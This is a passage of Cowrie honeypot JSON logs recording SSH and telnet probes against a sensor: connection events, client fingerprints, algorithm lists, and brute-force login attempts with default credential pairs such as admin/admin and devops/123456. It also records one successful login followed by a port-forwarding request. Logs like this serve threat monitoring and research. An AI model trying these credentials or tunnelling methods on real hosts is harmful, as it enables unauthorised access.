"rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:10.615861Z","src_ip":"159.203.92.129","session":"9c20d2fb2bb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"at","password":"123!","message":"login attempt [at/123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:10.627383Z","src_ip":"159.203.92.129","session":"9c20d2fb2bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:11.633576Z","src_ip":"159.203.92.129","session":"9c20d2fb2bb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":35850,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b0fd788478e","protocol":"ssh","message":"New connection: 122.168.114.167:35850 (159.203.135.109:22) [session: 1b0fd788478e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:19.964973Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":57718,"dst_ip":"159.203.135.109","dst_port":22,"session":"489a63df6635","protocol":"ssh","message":"New connection: 202.4.106.201:57718 (159.203.135.109:22) [session: 489a63df6635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:21.302998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:21.309184Z","src_ip":"202.4.106.201","session":"489a63df6635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:21.588544Z","src_ip":"202.4.106.201","session":"489a63df6635","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:21.720602Z","src_ip":"122.168.114.167","session":"1b0fd788478e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:21.724724Z","src_ip":"122.168.114.167","session":"1b0fd788478e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminroot","password":"adminroot","message":"login attempt [adminroot/adminroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:22.734518Z","src_ip":"202.4.106.201","session":"489a63df6635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:24.022611Z","src_ip":"202.4.106.201","session":"489a63df6635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:31.141149Z","src_ip":"122.168.114.167","session":"1b0fd788478e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:34.757574Z","src_ip":"122.168.114.167","session":"1b0fd788478e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.13.102.135","src_port":40475,"dst_ip":"10.17.0.5","dst_port":23,"session":"590b74f05fb6","protocol":"telnet","message":"New connection: 41.13.102.135:40475 (10.17.0.5:23) [session: 590b74f05fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:44.380512Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":41554,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2349db176f2","protocol":"ssh","message":"New connection: 159.223.45.177:41554 (159.203.135.109:22) [session: c2349db176f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:50.951237Z"}
{"eventid":"cowrie.session.closed","duration":44.97914266586304,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:52.367923Z","src_ip":"185.26.126.47","session":"3c9bc3e7dca4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:53.890507Z","src_ip":"159.223.45.177","session":"c2349db176f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":36104,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea2dcb41f64b","protocol":"ssh","message":"New connection: 103.182.132.154:36104 (159.203.135.109:22) [session: ea2dcb41f64b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:54.363109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:54.367523Z","src_ip":"103.182.132.154","session":"ea2dcb41f64b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:54.577947Z","src_ip":"103.182.132.154","session":"ea2dcb41f64b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44172,"dst_ip":"159.203.135.109","dst_port":22,"session":"91f07339c3eb","protocol":"ssh","message":"New connection: 159.203.92.129:44172 (159.203.135.109:22) [session: 91f07339c3eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:54.849790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:54.854779Z","src_ip":"159.203.92.129","session":"91f07339c3eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:54.859676Z","src_ip":"159.203.92.129","session":"91f07339c3eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"at","password":"123!@#","message":"login attempt [at/123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:54.895661Z","src_ip":"159.203.92.129","session":"91f07339c3eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"m1necraft","message":"login attempt [minecraft/m1necraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:55.455097Z","src_ip":"103.182.132.154","session":"ea2dcb41f64b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:55.903077Z","src_ip":"159.203.92.129","session":"91f07339c3eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:56.669051Z","src_ip":"103.182.132.154","session":"ea2dcb41f64b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":38256,"dst_ip":"159.203.135.109","dst_port":22,"session":"780cb1b8cb0b","protocol":"ssh","message":"New connection: 122.168.114.167:38256 (159.203.135.109:22) [session: 780cb1b8cb0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:57.615688Z"}
{"eventid":"cowrie.session.closed","duration":13.356652975082397,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:57.737068Z","src_ip":"41.13.102.135","session":"590b74f05fb6","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:59.891624Z","src_ip":"122.168.114.167","session":"780cb1b8cb0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:47:59.896829Z","src_ip":"122.168.114.167","session":"780cb1b8cb0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":14392,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9879d4fe2f6","protocol":"ssh","message":"New connection: 87.251.64.176:14392 (10.17.0.5:22) [session: b9879d4fe2f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:03.501143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:03.506566Z","src_ip":"87.251.64.176","session":"b9879d4fe2f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:03.602807Z","src_ip":"87.251.64.176","session":"b9879d4fe2f6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:03.893077Z","src_ip":"87.251.64.176","session":"b9879d4fe2f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:03.992355Z","session":"b9879d4fe2f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:04.092963Z","src_ip":"87.251.64.176","session":"b9879d4fe2f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:04.193427Z","src_ip":"87.251.64.176","session":"b9879d4fe2f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":63908,"dst_ip":"10.17.0.5","dst_port":22,"session":"37d25976e480","protocol":"ssh","message":"New connection: 103.149.252.223:63908 (10.17.0.5:22) [session: 37d25976e480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:05.842649Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:05.850352Z","src_ip":"103.149.252.223","session":"37d25976e480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:05.855069Z","src_ip":"103.149.252.223","session":"37d25976e480","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:11.595783Z","src_ip":"122.168.114.167","session":"780cb1b8cb0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.4","message":"Connection lost after 18.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:16.031735Z","src_ip":"122.168.114.167","session":"780cb1b8cb0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":47082,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b5552e21957","protocol":"ssh","message":"New connection: 202.4.106.201:47082 (159.203.135.109:22) [session: 0b5552e21957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:27.326712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:48:27.331310Z","src_ip":"202.4.106.201","session":"0b5552e21957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","dif